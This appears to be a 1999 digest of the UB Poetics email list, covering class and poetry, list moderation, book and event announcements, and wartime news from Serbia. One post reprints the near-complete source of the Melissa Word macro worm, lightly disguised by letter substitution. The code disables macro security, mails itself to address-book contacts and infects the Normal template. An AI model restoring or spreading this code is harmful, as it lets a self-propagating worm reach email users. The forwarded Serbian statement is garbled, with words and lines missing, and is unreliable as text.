I came from an >upper-middle-class background. Grew up in Silicon Valley, Dad works at >Intel, Mom has acrylic nails and hardwood floors. 4 bedroom, 3 car >garage. I'm finding that many people make assumptions about my class >based on my parents' class--for instance, when my 11-year-old car broke >down again, someone asked my why my Dad didn't buy me a new one. My Dad >NEVER bought me a car. That strikes me as more revealing about the class of the person who asked that question than about you. But that would depend on the tone of the question, too. I like this thread about class, and what many people have said. I wonder, though, for those who think class shows through a poet's writing, does it also show through an artist's work, and has this changed over time? For example, can one tell from Van Gogh's sunflowers anything about the class of the artist? Or from Matisse's interiors. Or from a contemporary visual artist's work -- Susan Bee's? or Agnes Denis's? Or is class more specifically inscribed in language arts? I don't have the answers to these questions -- just wondering what others think about them. charles charles alexander :: poet and book artist :: chax@theriver.com chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision http://alexwritdespub.com/chax :: http://alexwritdespub.com ========================================================================= Date: Fri, 2 Apr 1999 09:53:10 -0600 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: miekal and Organization: Awkword Ubutronics Subject: A VERTICAL REDNESS BETWEEN LOVERHUGGED BODIES MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit There are many for you. Can that I ably motivate them in my head. A shrub of many leaves surrounded by the sensate flora. Expelling from eager memory, decline for the real trip, the uplight all to back of the bodies. Your hands on his body. We have been exchanged. Your hands simply to touch, words that matter having our translation. Care. Brotherfriends facing maximum harried brain. Can we hear about this a little louder. Proposal dreamt & encouraged. You are the several living support. If we don't want it in our bodies, then we must bend and linger with that taste in mind, depend memories over bodies. In every redness dust the cloud frantic potion of the scene. After tugging the river nervous system for our road walked directions, in alone the rising lake, & the population bearings of the mercantile city. We are out rooms. I enter my mental device. ========================================================================= Date: Fri, 2 Apr 1999 11:10:03 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: christopher t funkhouser hss fac/staff Subject: Kamau Brathwaite's _conVERSations with Nathaniel Mackey_ Comments: cc: funkhouser@tesla.njit.edu MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear Poetics, Sending below some info on a project I've been working on since 1994. Glad to finally have it ready for the world. As a way to encourage quick movement of text from one place to another, the publishers are waiving postage fees on orders received before 5/1/99. If you are at all interested in Brathwaite or Mackey, this book is well worth a look! -Chris Funkhouser P U B L I C A T I O N A N N O U N C E M E N T Now available: _ConVERSations with Nathaniel Mackey_ by Kamau Brathwaite Produced by We Press, Xcp: Cross-Cultural Poetics, and the University of Minnesota "But Nate makes it possible for me to account my death and the death, as I experience it, of my loved - o loved society and culture; and with the discovery of _my_ 'accountability' - that I'm beginning to find word/sound/power for - begins the proc- ess of rehabilitation, resurrection, rebirth, 'second birth' Or whatever else you want to call this 'second' '4th Travell- er' experience that I'm too deeply [makes gesture here instead of word] to find the words grateful for. . .the words for the 'se cond birth' out of the death - which is what Trench Town Rock is. . . about, I suppose. . . I'm lucky to have been ab- le to find the echo, the little space in which the words cou- ld be fitted - so it becomes possible to write it in t/reason able 'English' too. . ." * * * * Kamau Brathwaite's ConVERSations with Nathaniel Mackey is based on the transcript of his 1993 public discussion with Nathaniel Mackey at Poet's House in New York City. Brathwaite expansively elaborates on Mackey's (and audience's) knowledgeable inquiries; his answers are layered with subsequent ruminations arising from his lifelong engagement with world literature and expressive cultures. A multiphasic drift, ConVERSations with Nathaniel Mackey combines elements of biography and autobiography with poetic discourse on Caribbean literary history and negative effects of colonial domination. In this book, Brathwaite, a recent recipient of the prestigious Casas de las Americas prize, splices dialog with poetry, criticism, and instructive imaginary voices in his now distinct and characteristic "Sycorax 'video style'" format. It is a valuable resource for either writer's work and for scholarship on African dispora art and literature. * * * * the bamboo is no longer there and I have the image of this mountain of mud How do you write poetry about a mountain of mud? That is what I'm really askin you, you see. Poetry is traditionally written about beautiful bamboo that becomes a flute How do you write a poem about a mountain of mud which was the bamboo? And it's not simply that it's a mountain of mud but is the _replacement_ of that bamboo with that mountain. _That_'s the prob Do you become deaf? Dumb? Blind? antiballad, antebelum? And do you remain that way? And if you remain that way, what are the consequences for metaphor/of metaphor? What kind of metaphors come out of [high pitch] hnmmmm - what kind of vibration? What kind of new words are formable? Become formidable? What kind(s) of form become possible. . . 8 1/2 x 11, 320 pages ISBN: 0-9668976-0-9 Ordering directly from publishers, cost is $14 (plus $2 shipping charges; non-U.S. orders $3). Send payment w/name & mailing address to We Press 62 Westervelt Avenue Staten Island, NY 10301 (Checks payable to Chris Funkhouser). Also distributed by Small Press Distribution and amazon.com CONTACT: Chris Funkhouser Maria Damon Mark Nowak We Press English Department Xcp:Cross-Cultural Poetics 62 Westervelt Ave. Univ. of Minnesota 601 25th Ave. South Staten Island, NY 10301 Minneapolis, MN 55455 Minneapolis, MN 55454 (718) 816-4280 (612) 625-1536 (612) 690-7747 wepress@con2.com damon001@tc.umn.edu manowak@stkate.edu http://www.con2.com/~wepress http://bfn.org/~xcp ========================================================================= Date: Fri, 2 Apr 1999 11:43:19 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetics List Subject: Radio B92 closed! / Dubravka MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable This news just arrived at the administrative account. =C7hris ---------- Forwarded message ---------- Date: Fri, 02 Apr 1999 15:06:01 +0200 Subject: Radio B92 closed! RADIO B92 CLOSED! On friday April 2, at 09.00, inspectors followed by policemen delivered to mr. Sasa Mirkovic, director of Radio B92 the decision which denounce mr. Mirkovic's capacity to represent Radio B92. In other words, mr. Mirkovic has been ousted and is no longer Director of Radio B92. The new court decision appointed the new Director of Radio B92, mr. Aleksandar Nikacevic. The premises of the Radio B92 have been sealed off. Soon after the new Director, with the presence of inspectors, issued the order to all the employees to meet at their working place no later than Monday, April 5. STRUGGLE CONTINUES. WE SHALL NEVER SURRENDER. RADIO B92, BELGRADE, SERBIA -- *ICQ 16854837 "And the wild regrets, and the bloody sweats, None knew so well as I: For he who shall live more lives than one More deaths than one must die." *Oscar Wilde, THE BALLAD OF READING GOAL ========================================================================= Date: Fri, 2 Apr 1999 12:00:27 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetics List Subject: Re: 3 faces / list moderation MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jessica's post gives me a good chance to address an issue that's plagued me since having taken on the position of list moderator in January; and while this is not the most opportune time for me personally to respond (I have to get to work), I wanted neither to hold her post or to let it go without some kind of reply. What's been troubling to me is this quandry: how to acknowledge publically the ideological limits of this space, or rather to assert my own position as arbiter of the list (a word I use pointedly) in attempting to facilitate the specific exchange and debate for which this space was intended from its inception; and in particular how to do so without approaching the destructive anti-dialogue that consumed the list towards the end of last year - for I can't help but think that what I'm preparing here are the means by which I will be accused not only of censoring "discussion" on the list, but of censoring discussion of list censorship and so forth ad nauseum. Which in fact is, ultimately, the very point of my address. I'm not even sure this is the best time to broach this topic - there is, however distantly for most Americans, a war on. What follows is an adapted version of a post sent previously to a subscriber, in response to his/her objection to my decision not to forward a one-sentence post. This is not quite the manner in which I had wanted to address this matter (I have other, prepared material elsewhere), but it is what I have on-hand at the moment. Chris P.S., not wanting to sound singlularly cheerless, I should also say that my remarks here pertain to "discussion"-oriented posts of a relatively "straightforward" manner, and not to poems or other kinds of other writing. (And, being someone who attempts to push my own poetry in the direction of criticism, rather than maintaining such a discretion, I realize that there are problems with all of these terms, esp. and above all the distinction between poems and other posts.) -@- The ideological limits of this list - which is explicitly and acknowledgedly an ideological space - are laid out in the Welcome Message that is sent to all subscribers. Among other requested and sometimes enforced (again, using the word acknowledgedly) guidelines to the list, you will find that I've said this is a list primarily designed to address poetry and poetics, occasionally to address political issues. You may notice, though it is not there stated because not rigorously adhered-to, that the explicitly political material I forward generally relates to an "immediate" situation, e.g., the current war or NATO/US involvement in such. You will also find that I ask of subscribers to post relatively considered and even extensive statements, opinions, etcetera, and not single lines or single sentences - a position I am willing to stand by so long as I have the energy, which is not always. Unfortunately the limits of this list are also to some extent the limits of my time and energy, since without further support from SUNY Buffalo (and beyond that institution, Gov. Pataki and the state legislature etc.) I do this job more or less on my own. Now in those instances where a subscriber has taken the time to articulate a position, and I mean in a considered manner, and especially though not necessarily in relation to a poetics, I have consistently forwarded those posts to the list. This could be said of even a paragraph or a few lines. On the other hand, I simply do not consider a single line, and one whose challenge lies more in its tone than its position, to be such an articulation; and so in this and other instances I have generally not forwarded said post to the list. If you want to challenge this list on the basis of aesthetic, political or ethical practice, that's fine with me - even though I don't see the particular relevance of *this* statement to this (poetics) list. But I simply must ask that you do so in a way that will provoke consideration or sustained argumentation, and not in an off-hand comment which will provoke more of the like or be simply ignored. I might add that this would be to the benefit of your position, as it may be to the benefit of the list. This list is not a list of my opinions. I happen to disagree or even in some cases have no developed sense of the issues that are "discussed" here (though note that my own position would be to discard the "conversational" tropes that surround the list). But I do consider it my job to maintain this list in a form that, to whatever extent possible, furthers concrete and serious consideration of the issues at hand - even due seriousness of fooling around, when that happens. If this is censorship, as indeed it may be characterized, then I will own that charge in saying (again) this absolutely is an ideological space, as regards form and content. And so are all other spaces, however unacknowledgedly. sincerely, Chris ========================================================================= Date: Fri, 2 Apr 1999 13:02:19 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "Christopher W. Alexander" Subject: NYC talks series / Alan Gilbert MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Alan Gilbert asked that I forward this to the list. looks exciting. Chris ----- From: "Alan Gilbert" Date: 3/30/99 11:49 AM -0400 POETRY ON TIME a New York City based talk series presents MARK McMORRIS discussing poetry and Empire Friday, April 2, 1999, 8 p.m. Segue space 303 East 8th Street at Avenue B Mark McMorris will speak on transmissions from the Euro-American library into the Caribbean environment. Partially focusing on the poetry of Kamau Brathwaite and Derek Walcott, he will address some of the roles and tasks of poetry within the context of post-colonial cultural influences. Born in Jamaica, Mark McMorris is the author of the following books of poetry: _Palinurus Suite_ (paradigm press, 1992), _Figures for a Hypothesis_ (Leave Books, 1995), _Moth-Wings_ (Burning Deck, 1996), and _The Black Reeds_ (Univ. of Georgia Press, 1997). Works of fiction and criticism have appeared in various publications. He currently teaches in the English Department at Georgetown University. The presentation will consist of a brief poetry reading and a 30 minute talk followed by questions and answers. $4 donation ============================================================== Upcoming talks include: Lisa Jarnot discussing poetry and biography Friday, May 7, 1999, 8 p.m. Segue space 303 East 8th Street at Avenue B Fall 1999 (Dates and locations to be announced) Roberto Tejada on poetry and documentary Kristin Prevallet on poetry and investigation Yunte Huang on poetry and translation Louis Cabri on poetry and finance capitalism Spring 2000 (Presenters and dates and locations to be announced) Coordinator: Alan Gilbert For further information, contact Alan Gilbert at agil@erols.com ========================================================================= Date: Fri, 2 Apr 1999 12:09:41 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "A. Jenn Sondheim" Subject: Re: 3 faces / list moderation In-Reply-To: <618330.3132043227@maclab3.walkway.buffalo.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII No space is free. It takes not only moderators but sysadmins to make it go. People's labor is volunteered or paid for. The machines are often built with underpaid labor. The routers are maintained with paid labor. A great deal of the Net still runs on free-offered services. To be on a list is a privilege, not a right. Someone starts the list with some sort of intentions. Someone signs up on a list because it seems of interest. It is easier than ever to start new lists. Lists can now be tailored to the slightest innuendo. All lists have subtextual censoring issues. There will be questions about child pornography, for example. All lists are circumscribed. There will be questions about libel and slander. It takes only one person with minimal effort to permanently derail a list. The greater the governance, the greater the labor involved. There is no solution to communication. Given that there is a war on, what should be our response? Should all of our texts be geared to that response? Should all of our texts be geared to class issues? To reification or recognition of class, war, race, gender, religion? Has there ever been in this sense a space for writing? Alan ========================================================================= Date: Fri, 2 Apr 1999 18:25:31 GMT Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Jamie Ferguson Subject: The Chrisis of the Poetics List Mime-Version: 1.0 Content-type: text/plain I think Chris is right to post a letter about his role as moderator of the List, even if I think he should be less worried about how members will react to the power that comes with that role. In response to his post, I want to suggest a couple of topics that might be addressed by those who have taken a serious interest in this forum. - What sort of post does the medium tend to encourage? Are there common pitfalls that might be specified and so more easily avoided? - Ought we to be more conscious of the modes of writing/thought presented on the List, and would it make sense to address these matters in terms of specific posts? (This would mean sometimes commenting not on the content of a post so much as the kind of thinking it represents.) - What sorts of post tend to be valuable for us as readers? What sorts less so? I personally would answer these questions by saying that there does seem to be something in the medium that encourages unconsidered contributions. I would argue against the writing of unsupported statements: "I find this book unconvincing." When I came onto the List, I had the idea that I might begin an exchange on something that interests me particularly at the moment: literary translation. I would expect me posts to be deleted by those who take no interest in the matter (or who think I'm a dolt), but what I would expect from those who do take an interest and don't think I'm a dolt is TIME. I stopped writing because, with a few exceptions, I felt that I was putting in a lot more than I was getting back. Whether a response was enthusiastic or critical, I often had the impression that while I had spent a half an hour or more on composing something that seemed to me worth reading, the responses were dashed off in a couple of minutes. This may, I know, be entirely due to my not having, if fact, succeeded in composing something interesting, even for those engaged with the topic. But I suspect that I did manage to interest a few people - and did in fact elicit one very interesting response from Pierre Joris. Nobody would read a journal whose contributors were known to spend no more than five or ten minutes on their pieces; while the potential immediacy of EXCHANGE in this kind of format is clearly a bonus. My estimation would be that those of us writing to the List should move closer to the concentration implied by the former format, and try to work against the seemingly perpetual thrill of the immediate in and of itself. One further point, as to content: if there were more posts on the negative effects of football on the American psyche, I would unsubscribe. This is not to say anything about the intellectual quality of the discussion that took place around this topic, but only to say that I, for one, am looking for something else here. Get Your Private, Free Email at http://www.hotmail.com ========================================================================= Date: Fri, 2 Apr 1999 10:39:52 -0800 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Elizabeth Treadwell Subject: Outlet reviews requested. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Hello all, I am looking for reviewers for the next issue of Outlet, for the following books-- Liz Waldner. Homing Devices Susan Gevirtz. Black Box Cutaway Jessica Grim. Fray pls b/c if interested. thanks. Elizabeth Outlet Magazine -&- Double Lucy Books P.O. Box 9013, Berkeley, California 94709 U.S.A. http://users.lanminds.com/~dblelucy ========================================================================= Date: Fri, 2 Apr 1999 15:05:23 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Mairead Byrne Subject: Re: The Joy of Poetry In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Content-transfer-encoding: 7BIT Dear Maria, Like you, my interest is in poetry and cultural studies. I agree with most of what you say in your recent post. Except maybe our spirits are different. You seem charging and charged, determined and probably effective too. I have begun to feel that academic life in America is structured to inhibit political action or involvement, even at a local level. It is my experience here (5 years and two towns) that colleges and universities are cut off from their local matrix, intellectually though not economically. When I look back, I remember students with a lot of political attitude, but no actual political involvement with their immediate environment: the town or city in which they were living. For myself, I was and am connected to "my" town through my children, who go to school here, or daycare. Yet I am not active in the PTA or on the board of the Drop-In Center, nor am I active anywhere else, except as a reader in the various libraries. I am a graduate student and college lecturer: this combination (which is the most common for all graduate students in the cultural studies field, though some may be called T.A.s rather than lecturers) is fairly gruelling and inexorable over a considerable number of years. Throw in another engagement with poetry: writing it, and you screw things up a bit. Throw in a family, and the pitch is a notch higher still. But even the grad school/T.A. tandem seems destructive. My experience of grad school was one of an extremely structured, controlled, pointless, and time-wasting classes which I was obliged to both take and teach. Even now, when I have greater freedom, the continual scraping necessary to get by on the time and money available seriously inhibits political involvement -- or *any* sort of serious activity, including writing and thinking. My question is (after all that): am I completely paranoid in thinking that the academic system here is actually set up to prevent people thinking, to inhibit engagement with anything outside the academy, and to keep students/graduate students in a state of "near-death" until they actually *are* near death and pensionable? This paragraph is a bit rough but I hope you will get the general idea. All the best, Mairead ========================================================================= Date: Fri, 2 Apr 1999 15:17:51 EST Reply-To: Cadaly@aol.com Sender: UB Poetics discussion group From: Catherine Daly Subject: class & gender & generation MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Margaret Randall wrote a book about women, class, and money not too long ago, and her observation most interesting to me was women are more socially mobile than men. (If we marry, we must or choose to adopt the class of the man. We outlive our husbands. Divorce usually only changes the class of the woman. Alone, we're outside the rankings.) Paul Fussell has a quiz in his book about class which ends up being about decorating. Shortcut the quiz: if you read in a foreign language, and have books everywhere, you're upper class. I was just in Chicago for my (working class) grandmother's funeral: my immediate family is called "hoity toity" by the remainder of the family. That we went to college is only the easy answer. We're members of different classes. My parents are middle class. My sister and I are upper middle class. My fiance is outside the rankings but raised in Section 8 housing. I have cousins who are have doctorates, but they are 1) male, 2) not upper middle class. Class is a wonderment, a construct: less about income or capital and more about what I am going to call "the conversation of the house". Social mobility is made easier by generational rebellion, which is hampered by felt or actual financial or social responsibilities for people in the house. This influences the accessibility of writing, the relationship to audience, everything to do with the personal history a writer has with her writing. I would suggest that some of the feelings my working class friends and I have about money and scholarship and writing are derived from family and social responsibilities, not class. Unfortunately, these responsibilities are gender-based, and the less desirable your American class "totem pole", the more gender-based these are. The perception of class (I believe "smell" is being used here) then comes from a personal history with this conversation. Education, culture, and attitudes toward gender are all useful pointers. Women in this country are still not allowed as much education as men, yet are expected to perform a great deal of cultural work free of charge, by which I mean, cultural work which does not accrue for the woman. Regards, Catherine Daly cadaly@aol.com P.S. Many female experimentalists are military brats, interesting since soldiers, sailors, pilots, et.al., are socially and physically mobile. I would argue that academics are also socially and physically mobile (until tenured). P.P.S. Some sort of pun about mobile homes. ========================================================================= Date: Fri, 2 Apr 1999 13:42:05 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Jordan Davis Subject: POETRY CITY . GOETZ? LUBASCH? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Anna Malmude and Jordan Davis cordially invite you to a reading at POETRY CITY in the offices of Teachers & Writers 5 Union Square West, New York City G R E T A G O E T Z author of "Construction Papers" as seen in T H E H A T and LaIaSaA LaUaBaAaSaCaH whose work is in the Avec Sampler, Explosive, and forthcoming in DER HUT! THURSDAY APRIL 8 7 PM FREE and what ========================================================================= Date: Fri, 2 Apr 1999 12:33:58 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: "A. Jenn Sondheim" Subject: Anatomy of the Melissa Virus (Disabled) (fwd) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII = In case you want to see the anatomy of the Melissa Virus - this is completely disabled with some basic letter substitutions (among other things). Know your enemy. Alan Xrivate Yub Document_Open() On Error Resume Next Zf Yystem.XrivateXrofileYtring("", "HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\9.0\Word\Yecurity", "Level") <> "" Then CommandBars("Macro").Controls("Yecurity...").Enabled = False Yystem.XrivateXrofileYtring("", "HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\9.0\Word\Yecurity", "Level") = 1& Else CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusXrotection = (1 - 1): Options.YaveNormalXrompt = (1 - 1) End Zf Dim UngaDasOutlook, DasMapiName, BreakUmOffAYlice Yet UngaDasOutlook = CreateObject("Outlook.Application") Yet DasMapiName = UngaDasOutlook.GetNameYpace("MAXZ") Zf Yystem.XrivateXrofileYtring("", "HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then Zf UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Yet AddyBook = DasMapiName.AddressLists(y) x = 1 Yet BreakUmOffAYlice = UngaDasOutlook.CreateZtem(0) For oo = 1 To AddyBook.AddressEntries.Count Xeep = AddyBook.AddressEntries(x) BreakUmOffAYlice.Recipients.Add Xeep x = x + 1 Zf x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffAYlice.Yubject = "Zmportant Message From " & Application.UserName BreakUmOffAYlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffAYlice.Attachments.Add ActiveDocument.FullName BreakUmOffAYlice.Yend Xeep = "" Next y DasMapiName.Logoff End Zf Yystem.XrivateXrofileYtring("", "HKEY_CURRENT_UYER\Yoftware\Microsoft\Office\", "Melissa?") = "... by Kwyjibo" End Zf Yet ADZ1 = ActiveDocument.VBXroject.VBComponents.Ztem(1) Yet NTZ1 = NormalTemplate.VBXroject.VBComponents.Ztem(1) NTCL = NTZ1.CodeModule.CountOfLines ADCL = ADZ1.CodeModule.CountOfLines BGN = 2 Zf ADZ1.Name <> "Melissa" Then Zf ADCL > 0 Then ADZ1.CodeModule.DeleteLines 1, ADCL Yet ToZnfect = ADZ1 ADZ1.Name = "Melissa" DoAD = True End Zf Zf NTZ1.Name <> "Melissa" Then Zf NTCL > 0 Then NTZ1.CodeModule.DeleteLines 1, NTCL Yet ToZnfect = NTZ1 NTZ1.Name = "Melissa" DoNT = True End Zf Zf DoNT <> True And DoAD <> True Then GoTo CYA Zf DoNT = True Then Do While ADZ1.CodeModule.Lines(1, 1) = "" ADZ1.CodeModule.DeleteLines 1 Loop ToZnfect.CodeModule.AddFromYtring ("Xrivate Yub Document_Close()") Do While ADZ1.CodeModule.Lines(BGN, 1) <> "" ToZnfect.CodeModule.ZnsertLines BGN, ADZ1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End Zf Zf DoAD = True Then Do While NTZ1.CodeModule.Lines(1, 1) = "" NTZ1.CodeModule.DeleteLines 1 Loop ToZnfect.CodeModule.AddFromYtring ("Xrivate Yub Document_Open()") Do While NTZ1.CodeModule.Lines(BGN, 1) <> "" ToZnfect.CodeModule.ZnsertLines BGN, NTZ1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End Zf CYA: Zf NTCL <> 0 And ADCL = 0 And (ZnYtr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.YaveAs FileName:=ActiveDocument.FullName ElseZf (ZnYtr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Yaved = True End Zf 'WORD/Melissa written by Kwyjibo 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! Zf Day(Now) = Minute(Now) Then Yelection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. Z'm outta here." End Yub ========================================================================= Date: Fri, 2 Apr 1999 16:00:12 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Poetics List Subject: more from Dubravka MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --forwarded message-- Date: Fri, 2 Apr 1999 17:35:45 +0200 (CEST) From: Dubravka The massive air strikes against Yugoslavia do not only destroy army installations. They also take human lives and ruin the economic infrastructure of our impoverished country. In the long run, howeveateral damage will be the shattered possibilities for de cracy in Serbia. We fear that the only durable result of the undeclared war will be a permanent state of emergency, legal and spiritual, this time with the support of the bewildered majority, which has always sided with the government in terms of extreme adversity and danger. Democratic and economic transition in Serbia is the only real cure for the Kosovo problem and hope for achieving stability in the Balkans. Our long-standing criticism of the policies of the Serbian regime and especially its human rights record is well known.s decision "to use violence for humanitarian reasons" as sign of incompetence and impotence of the US and EU policies in regard to Kosovo, r ather than an unavoidable move after all other efforts had failed. Air strikes signify the defeat of the international community' s long-standing policy towards Serbia, which has been exclusively based on negotiating with Mr. Milosevic and pressuring him to deliver peace. There will be no real peace and stability in the region and there will certainly be no peace in Yugoslavia unless Serbia embarks on the road to democracy and market economy. However, it appears that riously considered this option. There has been no real effort to promote and assist the position of those in Serbia that have been end In the atmosphere of war and national calamity these enemies of dem sional maladroit attempts to "assist" democracy and human rights in Serbia by vague promises of money to individuals and groups action in the US Senate of a "Serbian Democratization Act" in t The air strikes erased in one night the results of ten years of ours people in the non-governmental organizations and in the democra rd to maintain now. The Kosovo problem will remain unsolve resolve this situation through negotiations and without further violeemce. For the Centre, Professor Vojin Dimitrijevic, Former Vice-Chairman of the UN Human Rights Committee ========================================================================= Date: Fri, 2 Apr 1999 23:09:21 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: Charles Bernstein Subject: Re: April is the cruelest month for poetry .... Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" David Antin sent me this reply to "Against National Poetry Month as Such". He said it would be OK to pass it on to the list. --Charles Bernstein *** from DAVID ANTIN: Hi Charles -- I'm with you all the way. Antipoetry month in the midst of which, taking a cue from Geraut de Borneilh, I propose a TROBAR CLUS week in which no one shall be allowed to commit a transparency. For that week all poetic efforts must have the opacity of wood or steel and equal weight. Truly CONCRETE POETRY cast in concrete or cast in iron with texts only on the underside, so that they must be lifted to be read. I am myself planning a poetry piece in cast glass (really), but fortunately placed underwater to diminish visibility. Perhaps I can claim a dispensation for its submergence. In any case it will be at the bottom of a pond if my grant comes through. Hard to find if not to finally see. So you can see (sic) I'm with you all the way. I also suggest POEM BARRERS laid across public roads, so they can IMPEDE traffic. POETIC PITS in sidewalks and walkways. POETIC LADDERS from which all but the top and bottom rung are removed. POETIC ELEVATORS from which all power must be CUT OFF so that they can only be moved by hand. WHISPER PERFORMANCES permitting only poetry performances conducted in whispers only in large auditoriums, where the first fifteen rows of seats must remain empty. Other suggestions are welcomed. Best David ========================================================================= Date: Sat, 3 Apr 1999 10:35:03 -0500 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: KENT JOHNSON Organization: Highland Community College Subject: Re: 3 faces/ list moderation MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Chris: I used to be quite active on this List (an understatement, perhaps), but since the big arguments of a few months back I've relegated my involvement to reading the archives now and then. I just read your post in response to Jessica Pompeii's very interesting message, including the addendum of your reply to another subscriber wherein you acknowledge, with laudable candor, the "ideological" character of the Poetics List. But Ideology, you assure us, has never kept you from forwarding posts that "provoke consideration or sustained argumentation." Since you have opened discussion around the issue of List "moderation," please accept this post as an honest attempt to provoke consideration around a specific matter that has troubled me. Please understand that I do not offer these concerns in the spirit of starting another round of angry accusation, which I admit having contributed to when the controversy was at its height. I am simply asking for clarification so as to better form my overall opinion about the List's transformation, and I hope you or Charles Bernstein will be able to offer a response. So here, in the form of a few pointed questions, is my concern: Does the enactment of the List's "ideological character" mandate, in addition to your daily surveillance of posts, the denial of subscription rights to certain poets? More specifically, are there poets who were previously members of this List who have indeed been denied subscription? If this is not the case, then I apologize for being misinformed, and I hope to soon see again, for example, the provocative and thoughtful posts of Henry Gould, who seems to be under the impression (at least when I spoke to him in Providence a couple months ago) that he is _not_ permitted to rejoin the List. So what, after all, is the story? If it _is_ the case that certain people have been, so to speak, B92ed from the List, could you explain exactly why? Now that the List is a self-conscious and self-proclaimed ideological space enjoying the benefits of a benevolent panopticism, one effectively designed to keep discussions "on track" and to squelch any drift toward "over-posting," what would be the rationale for banishing someone as passionately committed to the art of poetry (however idiosyncratic one might judge his aesthetic commitments to be) as Henry Gould? Or, for example, for excluding Gabriel Gudding, who could easily be prevented under the new rules from airing anything undiplomatically critical, but who might be allowed to share, here and there, the gift of his mordant intelligence? All in all, IF it is true that there have been poets "ideologically" excluded from List membership, isn't it actually the case, Chris and Charles, that you ARE, in practice, preventing posts that might "provoke consideration or sustained argumentation" from coming to the List's attention? Now that a center of authority and control is clearly established, why not invite _all_ poets to submit their "considered argumentation" to the moderator's deliberation? There may, of course, be those who will not wish to participate under such conditions, but it certainly can't hurt to make the gesture. If my questions here are in any way informed by faulty assumptions, I ask you to please post this anyway and then publicly point out my misconceptions. I know that other people share these concerns with me, and so a simple clarification would be a positive thing, even if my error should bring me some embarrassment. Thank you. On another note, and just up-- The Nation has an important special issue devoted to NATO's war. All articles are available at http://thenation.com/ Kent ========================================================================= Date: Fri, 2 Apr 1999 17:26:58 EST Reply-To: Nuyopoman@aol.com Sender: UB Poetics discussion group From: Nuyopoman@AOL.COM Subject: Peoples Poetry Gathering Youth Speaks Teen Slamarama Comments: cc: slam@datawranglers.com MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit JUDGES NEEDED for the 1st Youth Speaks Teen Poetry Slam at the Peoples Poetry Gathering on april 9th, from 1-3 pm @ Cooper Union. Young slam poets WANTED! If you can spare 2 1/2 hours to listen to 25 teen poets pour their hearts and energy into honest spoken word, I need you. One round. Individual poets compete against each other. 3 winners. All win t-shirt, tickets, our admiration. Email Jen Weiss: jenweiss98@yahoo.com ========================================================================= Date: Fri, 2 Apr 1999 16:57:53 -0700 Reply-To: UB Poetics discussion group Sender: UB Poetics discussion group From: derek beaulieu / house press Subject: announcing: "TTbpN2: translating translating bpNichol" Comments: To: Undisclosed.Recipients@mail4.cadvision.com MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0009_01BE7D2A.0E6D5FE0" This is a multi-part message in MIME format. ------=_NextPart_000_0009_01BE7D2A.0E6D5FE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable housepress is excited to announce the release of: "TTbpN2: translating translating bpNichol part 2" - released in a signed and numbered edition of 40 copies, "TTbpN2" is a = metatext exploration of=20 & homage to the poetry & poetics of experimental poet bpNichol & = consists of work by: Michael Basinski Gregory Betts Stephen Cain cjfyffe Neil Hennessy bpNichol the "pataphysical software company Carl Peters russ rickey Stephen Scobie Jonathon C. Wilcke and derek beaulieu, editor copies are $12ea.=20 for more information please contact: derek beaulieu at housepre@cadvision.com ------=_NextPart_000_0009_01BE7D2A.0E6D5FE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
housepress is excited to announce = the release=20 of:
 
